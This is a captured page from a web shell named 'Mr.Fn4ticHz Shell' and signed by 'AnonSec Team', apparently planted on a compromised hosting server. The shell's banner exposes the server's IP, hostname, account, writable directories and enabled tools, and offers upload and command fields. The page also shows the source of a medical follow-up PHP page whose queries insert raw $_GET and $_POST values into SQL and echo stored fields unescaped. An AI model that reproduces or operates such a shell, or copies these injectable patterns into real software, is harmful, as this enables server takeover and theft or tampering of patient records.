Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.189.171.125
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/edit_showpage_followupdischarge.php
<?php session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include 'header.php';
include 'dashboarddocument.php';
//Code for Registration 
if(isset($_POST['signup'])) 
{ 
$sql ="UPDATE followdis SET Food_Intake='$_POST[Food_Intake]',Kindly_Avoid='$_POST[Kindly_Avoid]',Kindly_Follow='$_POST[Kindly_Follow]',Follow_Visit='$_POST[Follow_Visit]'  WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";

if($qsql = mysqli_query($con,$sql))
	{
    echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } 
  else {
    echo "Sorry, there was an error uploading your file.";
  } 
   
  
}

?>
<style>
    
.center {
   border: 1px solid grey;
   text-align:;
}

</style>
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">


    <form name='signup' method='POST'>
        <div class='center'>
<table id='example2' class='table table-bordered table-hover'>

<?php 
		$sql ="SELECT * FROM followdis WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
 <tr><td><span style='font-size: 20px'>Food Intake </span></h3></td><td width='50%'><textarea name='Food_Intake' rows='2' cols='62'>$rs[Food_Intake]
</textarea>
</td>
</tr>
<tr><td width='50%'> <span style='font-size: 20px'>Kindly Avoid </span></h3></td><td width='50%'><textarea name='Kindly_Avoid' rows='2' cols='62'>$rs[Kindly_Avoid]
</textarea>
</td>
</tr> 
<tr><td width='50%'><span style='font-size: 20px'>Kindly Follow </span></h3></td width='50%'><td><textarea name='Kindly_Follow' rows='2' cols='62'>$rs[Kindly_Follow]
</textarea>
</td>



</tr> 


             <tr>
                 <td width='50%'><span style='font-size: 20px'>Follow up Visit : </span></td><td width='50%'><input type='date' value='$rs[Follow_Visit]' name='Follow_Visit'></td>
             </tr>
";
}
?>
</table>

<input type='submit' name='signup' value='Update'>
</div>
</form>

Anon7 - 2022
AnonSec Team